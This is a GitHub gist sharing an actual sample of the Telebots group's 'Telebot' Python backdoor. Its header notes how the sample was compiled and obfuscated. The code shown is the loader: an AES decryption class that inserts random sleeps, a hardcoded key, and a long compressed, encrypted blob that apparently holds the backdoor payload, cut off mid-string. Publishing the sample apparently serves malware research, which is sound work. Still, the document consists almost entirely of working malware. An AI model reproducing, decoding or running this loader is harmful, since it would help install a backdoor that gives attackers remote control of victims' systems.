Skip to content

Instantly share code, notes, and snippets.

@Spacecow99
Last active January 21, 2020 20:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Spacecow99/eb77d179d23c31e7cf3c9c8b2f0d00ee to your computer and use it in GitHub Desktop.
Save Spacecow99/eb77d179d23c31e7cf3c9c8b2f0d00ee to your computer and use it in GitHub Desktop.
Telebots' Python Telebot Backdoor

Telebot Python Backdoor

Sample of Telebots' Telebot python backdoor. Filenames have been changed for clarity. Compiled with pyinstaller and obfuscated using byt3bl33d3r's modified pyobfuscate script.

Obfuscated with $ pyobfuscate --indent 3 --removeblanks

  1. Loader.py orig: wIJsD0zb6BV4
  2. Telebot.py orig: None
# -*- coding: utf-8 -*-
from subprocess import Popen, PIPE
from os import environ, path, system, sep, listdir, remove
from threading import Thread
from time import sleep
from random import sample, getrandbits, randrange
from string import ascii_letters, digits
from platform import platform
import json
import ssl
import random
import string
from six import string_types
import requests
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
import base64
import zlib
import locale
class AESCipher(object):
def __init__(self, key):
self.bs = 32
self.key = hashlib.sha256(key.encode()).digest()
def encrypt(self, raw):
raw = self._pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw))
def decrypt(self, enc):
enc = base64.b64decode(enc)
iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
def _pad(self, s):
return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) %self.bs)
@staticmethod
def _unpad(s):
edit = s[:-ord(s[len(s)-1:])]
sleep(randrange(15,26))
return edit
B="buHeNB7GdWfaPSTqYkFOXCKFv"
u = """eNoVmcVyrFAURT-IAR5giLs7M9zd-frXryrDdNHce87eayU3k5TLn5_0ANXtycROXu6CkqCp9wqpp5IozcH2hCDJCrAAPG3wgiFticfB8RyG1z1fZMFHOIcTJRp37x8bfhyTO_7OzFihG1JUhO7E94n2sXimRrGXPQRTi5PJim-UOj1WOn-Tyvf3Y0_tlIIZolYtQAtZfjZtu-_Dn_joz5VwBZ-KFiXeA-338GHb6z5GFZEUY2gpNfNMurmR-bWuXki-m1baHz6ni8sALvt0nqBM08Y3FC_wxL7b_RlJI3I29Z1abAuIMNl0TipqGnvd4mjG3j5NimEDE9ZZofgY_KPnLiTTzELTEST5oH47eCR6YCSehj-1onb4CzKMZcMAGjLmxCwXy9TAdQgTu6E5BGF7ECplwAN4hvROzvPcwa6at3ixRVMRZrPcSUx7x65m7gd8vntDf-dpRb0QrPxpIVnfuw1TZfuezBSSMdwClMn9h9H8gBWHhfJ2jduXwKO0Aj164hvnlYNKG9ohFr9bHvTfvYr8xovD7rJbZ_5dWJXVyFgF3eHXGQsmbPUpPvMYLOaqnm7gscINjCoXVC7uHqEooxp2g7S1x--n_2NKEQtkqvojnzjwnlxYWk-td5YoWtpmW7yrvW3y3Ue_wVq3p-M74jJpTtcvm98L_WmISHeTnMyhBGpEPiklmL-WYgCxM3QyUG5_xx_k_g14HR3wWPnqsMl7OCzq1tnS2pnUUeMGYL2b7GfyrbOvOOMcFnYc39H2AatifgK2ELvAC_hjW5dFlSjScjbBcm0T0jjCOHnzi01wz0P7Ba_MsN232AK8-awKHwoh9rzvqMkcyuhFxRVWxdCHDUkZi3S3pHx-zqyZwzawmfHTKub7LiPiGx89Ze5H7YV5ejHNZIAmrKZog-5uznRjgMbJg4B7cKYHm7g464huS_zlhnEsWjON5cCaH6ehYLJf5gS08oQDllGVXYb5ymMovuJOoB_qjIuemlXHnH8c17AfDVqlsCHJvhEAgtB-oZimskyQXSNbh_NswVSiSMoVu2DQ3G4X9HUwZWbkdwz9Xc2DA_FZXlC5fjII9QrIPwD4FARiSrtg54fQVrOZVro7kn0T37eKDH9qKgXNwIBSYevkF_gVtoV18qbUJ_JoGU4zjqIxRDuQ9ZSGPNJpgpB0ArVj4qrBKYUB9LI3S8Rq1eDpROvWuk1rYFYY2IeY0SGwR_qUKkhuGodP8OwFW2nH7Zkbv9JddZMFiuvERYjcvCBNUpmWpElVOJg1HYnUtEzeFTZbaTt7JY-s_mDx5GW7UJIn_ntCvkRE_SnBxPggMikgjckgsq8RMcIa4-So3IW7COyqisZSUSd5OWUxeETpAOxtmTKpCzOCpfqW7FZtQ1Ne38nTxRjvhOUGsxZDS7N2mSIYhjtA9_oMuM6FoSzwdE0DIzh4dscIsykMVstOMrkdAjwNvT8XfTiza9AvimRG8xtY---ddLzoKj0iMUXHOEJUB_M2E0pS8_bu5Fk45DI9zuJNtD_6Qtf9LO-J_Ptij_jd3H4JGcDanxMLtVs64uNxbl4H95FrhkRpRQ2z00A5m6Cb6azi2_nBXyktyV_yyTSeYEEB13mJLkwGzKxLNjAeaA-D_0Vl5QSdOElCyCOO_GwsqIV_ygOCSzI3Q6zqcaMwepq_f_Xfoldxv86-eBV7tCphvK9SdrnZzqzJHOTj1a-mM6vwHOaGoxIQohD1HxdtXaD32sIbSK6ue78SAQNjizKwWBMto7hSaWWYBuE3UA2kkSwsAusFOBvhISxtBy0JO-yBBJi25p6Bg96f3uYI6mqmvKcNOQdtU2q051InlU6efhGBpV6q7EqZkyB80x-9QS6lm7wrsEu7KbI7n-bw_i6AYwxB-pP7qWPhCrB2o_Eu_a9do_4hBMQ9oNHoP9pd5KiabPljhzySzWBHT_KbeuhjTKXELCUreUhM__Sv6XJ5OCscRLgMIiiOFs4hYhxoN80r6m25o6neVMfZWzVj419MuRehpsrJWff5_tMNINxXEIZCT9HPJuk3lOS3Px76RYNmoRWxr0rF_oUxndxR5lUR26fBoZZfq-EEGcfQ5yEMekzk6u8bF25J-vdyptbnfwCjVZDyxEt80g_BJkK8XxqiqRuqeN4hMS3YTt6EtMFZ2DkXkM-nNRvOu41O5iCxcpLZc4ktaa8PQQvoGdQ5HfLdC3geSDjBcOZbQ8UNrp2tegzt2dAtP_XwK6ZENyUFmPugktGxgB34sEDDTjj4QNe3J7s5tB4WG_8ke4gLkyetMKDjwEDPIb8NvX6kHjoUJgVhMsTLhWeqh8vpTF7ekY8BQA67bHTqaKFAvUjhkl21qhf-Ij7ExuBwlu2yYZGIRh_i4tmiSjBy92k0CPNE0D2sym2ARJpaTMZRLt62JflRdJJIz1YYJNIql3FUcN6mim41oFwJ4iwYancE3GZMDufTZi6lVPlP-IKPcN9is4j6as0ltm3C9Qo9WK0y5rvXtH4fHke6vwkfcADSLHl9YfUB_cxBg6Uj40ZJyPYmkVLJJPa6yX6LDPNb7zBoqSLiqVsgvyDkvbBZgp5e6Z0Pz8_D7IoC2xVS2eLIL8Q8Z58hmCIzKhlTzTcnohUYrOAWl3-3VeoY9Gkzwl8LfYbhrQ89Tb_nYUnnv5FGwXEVqLC8agkjNrde7UExyMzcXp4-ScugOjNYlBj0MFUXMuxc9PuP8h2BfnZ9vQ1wFkPIgI6FjKBKbAJhBB5cAYNGyM39WglWROcj_0pDcnV7ldVQTpWB-_GU2Gv-s8rrH01Lj_9DlFKVjI-_qdV6H1pYb33ztBKLujPLagN__MGAeu4y7Q2CgGHkED2fAxoHyb_Z_ujEOo_aHHrS8pyQHTc3iDF2A8fj1mnP8URWoAMAo1O9-yJeJscimjLlMv9iDJmSv_Fp-2nOcLrnS3PCuyhHNMTZgca-QtwuDGe8fYJLHC9AEQvObbWiRl9GAMIdOT6CNIShWdW-iN6KqHSFpWiYdh_tsrJrvwHQ9a5-YpcvoIPI5EZgcqvbia-pE_UAab9jIYvZ5ym-kO1lxLUmvnainzAl-jLAbJFc1tCeCMN6lZn8wZIezjs9SwCA01UXCANIr7HvJqsbpp-EF3G7CjGJc6BCEY6CNkJAgKcdps3C4sR0KHxOVXs-UETyGZve0IXw41D9VUgZVewJk_tZSh1soMwj7fzIZQTFSQdNlmaQsSOidewOA9we-VMxjDsusZ22xcmJrZrOzKbM8I-_DeiWKvLXFR08qK7Qyksr67DpdOFAdJfePufzNEh-wM1Iw5rO1LglGG5CNloKgYUgPXcTBzCpWO3nVlOfUcTjtoKcjGyNRe_fS9PoCm_Gj00q86_ryg1PflN3_PZAKIs-4gfj7Y1ryaKtlEK-BEgOs8BG0zUQIehgKtRde9_rJoOCjyFSt-gfmaNkBACD3bc1qwC7TpacbfckLxI_msUH43m8DrIQZ0VblWYbqR-wB_nbmfy7fNcZW2gHvHFmh4uhdoEv9T9LDr8_KHw4s6jSmfUjs8c4MvOEN2tc-EE0QDOeRkDytCoC0SzVuFzaN5dvNhyyI2iV1bP1KcAosdX4oPpCdrqr2PdOCR0qSX8hMKN5Ho-0ir3-Crhwq5elly938Jec9SwNpaYh13rI7c6iRbVpKXSX7c4ONCy1Tij99ZEUzTm0o3zQ0dkEd2A0OWffIr-asPNmgpWEHWGhTQAfEw46gV2tWA7qS6JjXeaHXoYImZbiAj2_ruIiJ6M-CwkeVX4n6Q84a6HaMpBnXZRUovdVzpc3Up8tfnizZD7C-HZLN8D3NRKc3ToS4j9Qn6j0MTws_b_aUw1Ng0SuAzynXTf5c3zQAr9o5rybsVFKLBO8K19bcldYE-9zEwDHzK6gTWVsyI_23hfryANFOPd6hFlWof0UOM-OyrlFYwIpWCSjdxRwxt0U_mPhuMe3OEdAJa-nOkfGP-Q-96oKiHpoMU4vmSnC5JSoGPP7xabAG22rsPJhelzvROmIWdeg9RE8sMqj9zYsKzQwudsHyWORxTWr1WUbPA7kZ-RiInTvX8IRrtwUVSbnWwfMjVyY3HuHdLmHQYjtfWhTXtxEZf3pP9TH3Xe2FLJsnGb-dqDNhYjcCmzdRTEqKpZ2T4a-K6pD43DF7JpMrseMQzHaFVG622TS7FOD2rtU_3gzka7brqVXMhCXPY-GQm7HYMrW0ORXXA2PTRO06Vwm_Fzm_G5VkYcXFC5T6R8a6PLjm2_mWWhLrCe76X1yGuJBzXr-ZPnVvySw2a3wx33f-WvGfd0nI1dz5u-i2hNmaNQeo25NlDWZ0PSC35S481CKtWvh95tc31-HZ8MULlDszfxg__qfFT6svAgZ7PIp7sn0SUGDnckzHQiwip5Q3oNdSleZoybzV39YO-95D9iLfdHJysqQyPlqkWrXBrOVj62WiK9mUoOm7unKsOzhsx8JPf3xBvuU6_HS4i249mtibHJ3eLb-FE9dxZW_ucdN65xQjbPXA49IQUFMqTQZ1WzqfrteLNYbXC4U782mVH8pCfZQO0dOPgb8iNaE05tIngVKXwk6J1O_IBmF9TFTQ0kwcV10jy5WAC-MglNnUNZ5HKPrxEh_HjzayjXCKXcGX083G0YaEEl0ZaIt7V8CtLsmQpWRHzciaqvzHjRGVV_mrZYrwC5zEBApxtyvW7QTFX6HzumbESzIq8RuY-InhW7m1NNGbKPQDh-8KcdVdKfddYNAzqdR3dS66kxKiBwHathojbBl5m2bg6va_fg0Mz9APIwnuxw8Dw1gWrzTDgcWj9iqmsq1wS4zZu1RTXHqL4asnEEThxEg8seNsxFUl8SgFCYjs3gmdqKMNBnX9x8KmYrCuCHCHD_d9qaqk4Xy7Kk9lDLt3p8UKoRgw66_ZEk7Ndx5_63oUx1leb0P1LnyN-9iyS_R4VxYzJQPV5uaPOpe1LoVwn7P405DV-t3VTM9BTqYNNrIEKq7tVsM0TCYBgxUOlddqyaKXlNrxX567OE-wBlCRwDbCoIo2VX8VXNQGPk9B8IRR0C4xSu8CdpGjmZUHQUvgsx6bYeETR6tzuTAcLna5MA1GaJBBalJB_BO3Jea4evwPzeCI3qdVK2QrUc92r_Cn5fPfyw613Ka-Duupl0yMJVZArzg38w21rjLOk0bHYoCR6d2ZtZnZXTwzua308TNM8Cqqmf8-F7Pwb92bNxu7n5QLNTzAX6k4IoDeZQCsPQu2JupzBdcPovMfT0uiBk_NKtol6CR-eM30yqNNjeIzwh_Ba49HU7cVdv_0UkRnski9j2oxkUvwtyPtOrxz_VdPRPPjf-tjQwDLNeoopiYkWQxo1CUHGSi8Ag-z0tMKnmqAPJ3HPW16l-PrBYGbwGiIok9RSebStJ4a9nfGtWo3gMd2xmSvQfg7fdjnGZ_ZggkrY8-pOJllFEFeBTk9wSGgKjrP_toDgpXTq9lwXCGCeZPUgPzgqgEkSVx7o2sx5JL6cseqjyk69-cJAradrD6Ef4kDEt1SsdhsSBQPgqIOwiEAroGhTUz2uBVlhZodAr0iZJ7AQmpIUL97BiFTtK_LG__qudXVsipCyi05Y7BVQVEfLWYGs_Jr1i1n8tlSjHPaX-Jt3giXBhwFLXNr0sseVBhKAIJRvrbX_pvQ-v6CBqKJRCXvqiM8X0h1TdA-tnwDty0xnRncWCGH5b6J3PRiYm-JJa5jUlaAOKPBSOOB0Uz-PcpmJv0yzdyd1voTUiI41EbY2SxMUmH2Fnor-1INH_kdYdvXPorRCDH5En9E4zBzIQO0OPdJzPswLoRHBlI_u6kORyAQituGZsLu49fo5ScZe9sEvQH2TF6gbBgFSSzXh5Ib0x-0spNKh1KZW-wEZ_80muz2CXrIHEZW_1U_HIWdNWJ8i-Xz3NUPOgV52cjeKIvOvwG9kg6ZbH41hRGAmDGeO7ewag_WE-Xz_aQsPigCJ8Fyzugffc2-F95X9ywyDioSdjAZygOu-c8wsTNk58IfNlu2PEHMMHWbTgNkl9BVIeIcW7Njd5p98aNyBthKBw-3Wnxl-jBeaxrgPu5ryhLu5T130vkvUV1MCu_XoVPyJnth5Pv8nL0d74lzFpC4RUHcXQLNUqKoCRUlluVILom7s4-w9D8_3P3WCry--BC6CncDzcdG6oocwo0of-ChBYMfDgGKq0k-xU2E-XSot0xCbWaIC6S_jUBsCdc89K3-4SaLJSCacrs_5y5Ys9vkLc85fbcdcwv2KTyd_7hlGMD09cEnE9qfPEMXMKwqF_BnUb51r5JYtg-EqkvdvAlBD9-bSfH_avcdgvGP8yhjm8_CDhq2CAnf85u4_jfDH1cMGcsV_w-yFzy2w19cSojet-MqzfwOv4tybJMeIXgkUwWF07SZwSam4bjv7jOS-jY_T0C6XGLum-xemwAA7dstteNZZNwQ3qqgmpINt79RiKunMZIVx0_hyXgYJYKdC5dmC_d6rlObFdRSWR4uKnAQDGOGY57eTBMJXEvUTLj5AyA4BGnzmQb1uljSx3RD8H7BsQeuCM8MrGFWDjpQUkRAYCwdomAf0SlDC2QaJKu-4JJXjzZriRTzczAmRpfdEL4op7GIIUV8cZ5urg8r0vlFF1TRQZIxYYK_zbVkU-XbKmQR-gfd_oq3dkP1m-ZY5uRAbHCy8XQX-CDURusadF1lVasUbTOc_kk3w-aJpj2s5yUJu2yAuEbkncHzJaCpyZEIYKGZQdJ87wkfj4E3tinpoFwKT9ui2v114La5ZDl7VWZpqpxPB3Ib_quPeg0tEE0VDLdbfURO_hhfVIu6vpyjmFCwZ07RD1zOZae0l_EMTn6lRpXn57pQ9_dl0anCcrTOs3e1n-1DVyG9anNK2JZMB2UllUYCTpFUujdM-QuvopZxWrR29npPktTbJyc3W1S8-k13nm24r9JW1HwLX_p4KVr0jXHFURAdlfNCUoddM5STZ664j_IupnzLJP8bovsNHz6S1ksMNcl9ySrGtgrRPgYQe8z-sdouQv_jXScbuDkQdA4fJWk_MF6xipX-Ts0f6xnrNmhUQZH_eYlpU3ekGYwgg-VxWctscspquhbKOWio3q_ew4PDEaIrNKUGTBjoanFMKBmPAybBnWH04sb8HoWzka1Jh4BL_D88tcCsVIp-2eOQC_7Hx7o9XxjdjSgVblt36_7siWmpvaXxKVH-SXtSdRU3kAlcNxfTN6lSz6R35xj5yRp3FRqPAGys5K9JXX00iS-5yscbNvj7qYavJWLFcQwiZDnf6fur_2nz-rT9gq_OS_m_sqhXMpd5DuTkVtg1sIxaYaukEJj4D-CfpxlnV6Wm5P7cu8doOTldhnUl8j87lMpSI7Nnv4wo5TQTQuezmx6DycNOEdHO7II39mylvQo7qg5bT349j4DPxWAKSCPq7rx-vLf7U1xb7aYY-WO6oiSFQgK3Pt8XVvjlykxdolcp0rYSY7h1c-M6DAhbcvRqqunpIi_B8r6H5wT3m7Z63cYHQD0S8pDo0c19FC0NaRezVqUqwPzbY7_rNGHAl9PgiKRAdd0konWqXN1RsCMWHH-iwvUfzWjahbNYuqMlfLh5bhpjp7jpE834ecOYFLXPT57Usw_VbLhBigBqxAwVfmYPxD5ZhqrQy4JKwHN7OnHvu88BedVkqdwDH7hWYP3B8cqiDWkt2WlTdmLOrw-_kV7_he1kISTd0JVJQ8c_s8o_cYk5vRNoqmp2YFlMw91GkgV6kCS5ccoShWOqpfypxqBsgstaaRHIShUfcmpWXTjlZHjdj0VJct5vscdpo98MCfsWEi4-y_HgnEfr-vOxf0vqGeqmOdcYko5q6TkQgeaOZhdEVa1107yY7D6XchpBNeQ-djw6blvK-TdmBRZjFUvyJ_33UfC_Y0W74rBcDQD62Pu-wwOnpI4R7JUaYABlCe1MyZinHftBksNtUtIOZf9C0ybDEkTokRv9MutZPrONk1CrFbRmcKtWUh9xOzsSkn5BkqE31fzPGKHzPkXGX_9jCAcZxIL1BshFLFEgTKF-CgumCBBNgYsH-S55JEYnMaWcZyFzPp_EdOUP4ZQ532E_xx3PffX9m9OvnSioQTqMp9wKbTZGLml4GcP7ykTgdWbxFsifclP6IccPiOciJjpBzfKT00HkvONvQKr3bWA2OWF66CvzioVEQ508w9PkBPKlzhZ_UTQ6Mfi7seCngvwks4o1HKgCD1VQ9Da9D5mSgAAyfjvisoFsNA_tDMfTgySxSJ663cFf6XGIiwVjsTqc_rfQ7TxkN0LCj1AgDp_Gvx1WyXb4R-t5hkrciTX7EjZlhdLM7ytgYCOWYsfRTd_ExteWzya36ICHCTXbkppQUR1f29f3B3y3MZQY25En2WsjEO_IFOGZUmPAacLLJ7ug8MbEXibw3wmtdxQ-k9cWllb9tpX9ocAewY_78F8PxqBb3ZH1fGZq6L1p59iya98kz5gRFtu3EjsC3sEIybkQwWltrGWdiAbnUEzLrn5T-sxp2UPW8VbXk88fzHQni50cz3l4kMjtliWxz_DwXYJMi6-ZAE9rP-bxTodxN9wo2B6xkESj8HP7_dVnuzjF1XDiuk41AU_era-wnnZFfpSTVmNeKyB3_SoJoYggoswjhdkvDwDyiT_wVJMSruCc10gskuDRrg9vGSTyJgBe2oeGT67iw3JSn-LciBeb5POXeLV5_2y2DWzRhgJSeMXOQgZv7zbn2no7JwYK59a5A5sLBKJYLD_XVTIHuKtM7bhAPivRvqORoMOMrwSbRgEU8e7lCF9wIF1-OARM0kUHBYxRh4IhcIRBhHTSIdWvv9KMBx6f4kPtt_WFFs5qr3NdW_S7_6ZxIIH2_GJ9KhrKbf2RA2OMH6JesZpfEnNwCPIZCRAzgIspSuxBZTM58X2OPFVBmxTf3400a3r9Jbb4ceHirdZh4RDodhWotqwfdU8JU1U2Jf2F1f41VhBzc8a_MqviHZq8KrgvooR-1kZ-rcp6cfMvZL1KeT-lAEb4XzLkRP7cX9dbMZMcL3SAs0PehacFlprL78WD4bCDc_cErWwr5SnbtSozmT372Tp0-ybIPpqH_2d2znphCRulybgJpwaobqk3NuRGfiLmRcFSzsxTJ7ZZ1xAdKXn6cWmJWTQQvJ3rN0aOky1wD7eZe3899o9BDS-miwvTYRURGTW3v8EqlrPHEdcs5vDS0okEQ73JCgtoTzuCZ9HPSOV_h7ho_BCQD8K1cUPtnjlcQ07ehcPe6d35_oc5cXveE9jxlopMpEIMfqbm8CgD5Z2rWqu--kmtdN8rkduQZyPn8FKqyZFh8BP3FtFjzyQVhStnK94PKbaYBD16kL-Qf5clH9UyQZz3yK_GSICsJoFLFObwqU0dyBd3tSzCqEcRi7ZEVOZPqmJQfbVWX8ufV5FvAow3UlJEcUve-DhfcrtnBLifQVOEFSfBS9_Be1pkLaoxi_SKYzQh4KhFd1LS8TpQSEIv8VMO8911xeMDh1u3vdwLYGgbkmb5mTkafVyIe_6JVjsKiUa_nX9CTfLChwwVcaDGtQkK8tdkHUHRAFmrsdfjCNc5wQpZfIbP_MPOwBRATPrIdGSRV-qDnfx8yjmcorv8tF3IOXcH89jcVCK38KoBurfJeUPtO87QvLHyqV6-c8REvzCBp4UugnrQnYiqgTflaRBN-8ml9KfKtoxOgGmruZVlXgQgVg8aElGOOa_6acybabgunlWUlkAU_KYqNSLi3Ld8YIEKVjtN6j4s7OHk4Qf5631wQMYnrJ9gCyOX19TG_WHSqrgx6XkGRBx6_dxeue3aOpUZTG3ZySj_LEQPhC1EKr2wgscFeuL_-1DPUp-OPMi1d9nhs0783fEeblbwZ8Xoj---VvWqivGH0Ec4ju48Clp3Ptj6B4wsB9x9p8l2YA3x9LTy29Pfvo3_aURXUfzUq0zcCeKNIGBN6E6lHz8Vod6QW3p9X2FFkNBP881LFUONup9yy3EJPfGYeqhnEj8VkFXqwHm0pDKM2DlLlsv6tCpuY7xRW--oB3u1iDj9rXQnVniAa4XQwH5QZjQFLTGRol-fz186HE5B5_hdSJ0zCGtKkSYwQqhefLzbQN9PUFjl_sd2PiVdvJWFgixjQjpNOP1n27STRuLp4JByypICvUI1XvYeKoYmCzA3enZNLUH3kbA1DWc9fSJe8qO_rC6WDr-kSJi9IM2uHWQrjU9o309Dyi8GSYWcwkAsn_msrZ_m9B-cvP3EaGkWGO5dpHIaQ1tTQMn-fhxRY1y1Kd8PcYrK73Xe5uEQgPUZrcpo9cSuEs0tHNE9_Xht9gqxIS9MRwyjxK9DzwFqEJyVh-LSgrZNmguobTFJznudAWdc7fpa-NHXamLQQGneCREj9Zkl9bG4faHUoWD671wh7oTOLVJl-i675fl_23lnuVC4K_tFPbECAGKlj8Xiz6xlHqlcI62ef5VwEV9h8jC7iCVDFiOlQsXbBs6kjCa-6rAf5AgKo9-FYM7_gF1tWHToLEgt51bKo2_MkgycRoHkM_OksNmgCmuRJMHq6XRzysyig5uJHLtykhefPFoPIdl1g1O-r144Fp1Z705WmVvsxhAXM3A4YbqYwUuXJf1Ckx4CVr78E143V1Te6hZEXZUQhyx5P3YiQCCY4uz7OJmDxnw9Bqnqq8p-T4eMH02yopEDLzh5vlSbjrw8wP_1OgGG94OeSOHjMtmb95JOMDrZEAW9XihFQWtT_FgNFqeT5he5oUowep4QYqhfwQgSH_hczZnZpjExbYLcPNiK0a0w2Swj5xDtzMEUBbnz71nWg1-gmu3B1yvJSIhvxva9ncO4G09AWQevpZZbe0lXUCmFrAty3e9HcT70R2TDH_YemV1xodc-ApUok6eMz60PY8sU_v8bwA3tMQBPLwpZ1weg_Ol7I9w4ASrck814vQhmFXmOV0-c34k7R4PUYj6eazlYqVdCEYzGe7LIFeZ9pWALPSc1m7yhYuapGW2SyTDc5ErjlH88jK6wS7wLb1ahsVEMhobIRwza7wo6UOZ9_oGcL0tpKnxYVeUoOKq3ycQecthl7hLHHjbhsC5lKz7V_vWXHlqY381mOTkSis85v_io5dtqwceKFGxoQFbJfnhvLXUUP33tf6xOmmOvo_BFDDyc5wr-xzRtYq6gVCMldjlh5o4lOvO9MoPxyatuf6gC058bjb11GWID13VlNNaZ-6KjS3yBNJ4UgdK49StFp1PS8uJZ34MsKavmbS8v5X5eca7rOTNdoNYEOsLs_VTDmM32jFxwCQUL9V8b5yoDIxO4Hwd5fqWjH1KmhbE5o7fE5P1KTzPtTlgPTlx6RwRDTG7OZ1Uu3SY-dY28X9mFYmipKGEKNFi9LoJfd9XW7A1-UgSjFSjWW4KLsd_juPUOzJQ2vlhzfvoPbstzMD21R_CsRiAEWeHPVXgvHJHZNOTsXqyCMJOQI5QDkK7NH-Zh4V-aQ3Sn9ZpWvhMN1Rl9OOBEFtVWKQNsqIIm1263npZW_Vs00sZDHqDqe81J2ACShGl1XKW4vMRr-FC0fs3l7NstxyT7VEngA7vSPMVeNVcofr8u5PmY4Ecug9g5A94eqZKAj6oOeUG9IE28mFt3aaTbg6qBTSumxNOAZJMH0AHybyr4R_CNGesncnOaJGVBZbFH9vbSeE_be0BWJkMVBajL9VzPm2ha8ZLWomMmIULsKs0-PfIA0sTERlMV6FYqwl368LN70ffsMvVYzZgfU-_7ldtByy9kD-Nh_JWf8DAYktG2NMIQJuFuod86gQS4ScpXweGUqHzEqmyPgvn4Oup3CC9auEE8_3wc_sjS_hbwDeXfKkw6vGrIlLkg1ttssf9eoU22Z8R8oZNc2mJxk_vBsVgogSLMHYNKR5qDxOv8349n1L-71KKSG-hL6oCD_mN6XN9GsiPeRFpof95tizFdGwlT6mbBR9rM7LZEWeECHM1qZZB9vf1Y76ZzlovqoPqZU3DT9rnbZkRf0g6pTM5GDHKXDxEpyAS5mHj3X6_m0WPQt1YEMpXvxdJeRNpuAlF6rgaJpv6RzwYfQLvV_gpyOIHjk9HiOPQAv0WIkt_eHgNhyCtlGgUV_mUsH4ID6DC7fnHzx3nypc_7RdD1H26PeSFVXJEU6iEDX6K2-JuuYgvl1NUNqxzmPQduaEhD_Nv-D-1iysRY9UmWdlUocNTHaMx5c3fO9t_VWINyYkCGoQhzNIEs4pzITA_f6dhwwQBZZdMf6EOPa0W1BkdSEKT5KP7LuQTCJs3k_Skpwq_B0b5Sd2idnqj9iPRw4gILPhT5KAaNoSXTX-rW-hS_KeJpYHXbg8eam2LfxduB5VrdSrHCBycqVByztB6Fz7K5za1dhKRqqv8FgUt7meBCPcazfWdMSmDfwKEvxj9VC-hpYsI7B7u5h6HsrH0d6ZgS7U6OcuEp7zQn1UDT7YO27SRV4FmLHcmWDeKkI9ffnXV7t9EjuZE6sqkAmVMUAT4d9HufXHBphVQ9dBxrDL4qdO1ntucbnm8QLGatNdLr9udoJcJO-3g611F7pMYKOUTlf1AjQkXCl3XpjQJJ_ezp2VGJTG7Qtn7d5g6ZsAXYG7ziW1rAg1MGhEpSHZXpfAw9JowoKiGIvhtOp-t4MQpKMEVO91P1fZnAhshczLtcVLSuJRQ4iA4aZK_fVTRVimLTHA6fg0XswNmy09T19c90G2K_2kKgW0XBxIHSJ36SexTHcgcQt7kXBFVWCjInSzQ1_iSaH6ln3fkZHI0a3ZXlTyB3-Lx60BaBHboU6NQMRe9DO1ikVAclFsjN4zeGVcSq3fVNZX0QbxOo-VlIObcE3f9j11LXLAh-A5tqW5Ylh_16rZeOFHTxbT3dm8YhnbdKgofnk_Gvwzi5jPVkhpvz8PSK2xz-_QM2f75nGZSuiD_-QTtdIvlPxNnCGMCcV3KFCPi--9LXHZ2FtQvL-9F4g3yfnqvnNF6PzPckx2upIgldJGn__uV7SbpljHb2ooa6xUh2FwA4bc6HtLuqmSbL-7sbhUEf3q7v7bzJwxKAygLjwFUyP0m-_k1OayASfne4XiNgc-sQrH1uiekwA3di5Y1m7xP0m5RaJPTA_uAUWWe38sK7GnmkpllplnzVCZ9QYKezJF-PVL6ER23wO_lMXNrfTNSGb8e5AiDO-0nsYKAVvTKVpBU9i3FMlGMQP5r1jvjQ9OzvGZkdJ4WdzOGykA4IBAkBMot9733I-eJh9TfurvDzAI4MAMvVIgjEwXodpE_jQ4MedEwlaIxlfuDCg4maHna36t0DVFwlQtQoddNccwM2hCjPzMfqB2cf0QRtmQH9_SBF_mJ-Oo788nblh76Y-yPUbJgo6PtwadUJ9hxu_RN4Csdz3_3z-htllvtaQ4U8hJ11JPma5CvxBdVfDs6s9axdPcB3I8d8u0O3cVRkEcwBqzz1gZLEM_8n8jqcsgP8qfVd6nZRSo3uSLJu50Yiy8QzGPCD0PfIyOQAB-vBsOStP6DojG9H5pelPkIbGYNTziQjlscf5a5d2Ki7MhURUDuAUmvBtnV5taPqrlD57GZZkg4jQXg8f6EiPkeNhzhMB-f1w1HCbcC8FP3Kw9940_UCu_9fr8ajP2aj0IIZj2CH38OlI9JViuNs2c8mwZsK_vD5YcFcCB_Bz2uy4FY1aDIOUzkr6PO1usKDgqZczbuVOdYEea2hGDekmbjHvwUhfYn87uNGD5IIEFKkjlHdLhCNeKAiMnHhCERm9jawjs1RIrflg_qWLsIZ1IbeEABgACNbeonEzjU4jmPOogCQDo5vD2uNrCVbjwLyTNkX-drl973a29w7A2C-7GxHlatc_nLVkd_IkhQcnfOoNNEkFzIOQHGeV1VeYDjRNTNECZKm9yv0Itrf-jTGN6Zxfxeubp55nfgK-Q9eIDRMGk7nkXj4fE1OK1kgh7AIz7fujvLcAIfsPCQnR8iyetObQ8csfiMKmrF60r02RsMlIsqDX9WxpnutJoN__LaCBgjKp8LzdFFDSrVWuocbz031eBeHAPtXvRwNLbkAkmkT9o0TuW2YQCqOUqy1gxCQD-rIZ_wDEMz9Yskt5Z1o7oxI_Qd_3f1LTRaxb5K-x8OFJeYhAmzQVSttLeHJ6NW4TKbUs6WPFwIelulhgFXmPztzg7NOrpB9Edt3V4fIETXFAKUuRVh0YEbILGCjI96_vovdmRnc1t6eajoTVSijyLuZGdvhW3YAfgeqWDrV1kO2bc3sm-PaxHq_Pxm4ZcGsZ80DRiBYqrMFf5HaHfZsjoJlE_eqW96uQlkHTXcsGLTKJhK3634KGnk9aFx0H00_sxhZ5LuLjgkS7BYYGJV8zgCPHQKm0t7-voq7xPkzKn-KL8SH5rlg_O9Ln2W3LQ-FLKX3GoNFpu03VC6BeQqFkaBGAokARRmYbk0wEJpsY7PP66Y92lKZm999GjPd9qQew4vW4ThD3WqWsrSn8myuX659zTyD7seyCw-tNFijXGHcCNqAECCZogSPviz3tUKT2bPwihR4pUA3Bt4CWkId0EVC8lLdgm1t_4DQPHXU-qjtP__m6t0CL7ZlUhedBNaviEnmVO9ZGtnIKRiadvMV8nHOYH-aXGsDApF2joXng9zKqeQ57IlHHIdSeuBo0KULUr7s2apiOSXsfbqrX9ymVXSUuGdUn5xhLYlZnoWECZxfviKXAnYLGcDvvteayv5OX7TmtRz90sgDv0NjCdHxNCG_kooQVDmYgYfslMH6Y6Iv9rfZPH3pSi1ZyFo2fX3cITJaZNa-TUC8DGUQPpUucBmyxUD4aki89zfIJhKKkfN4u_T9OoLX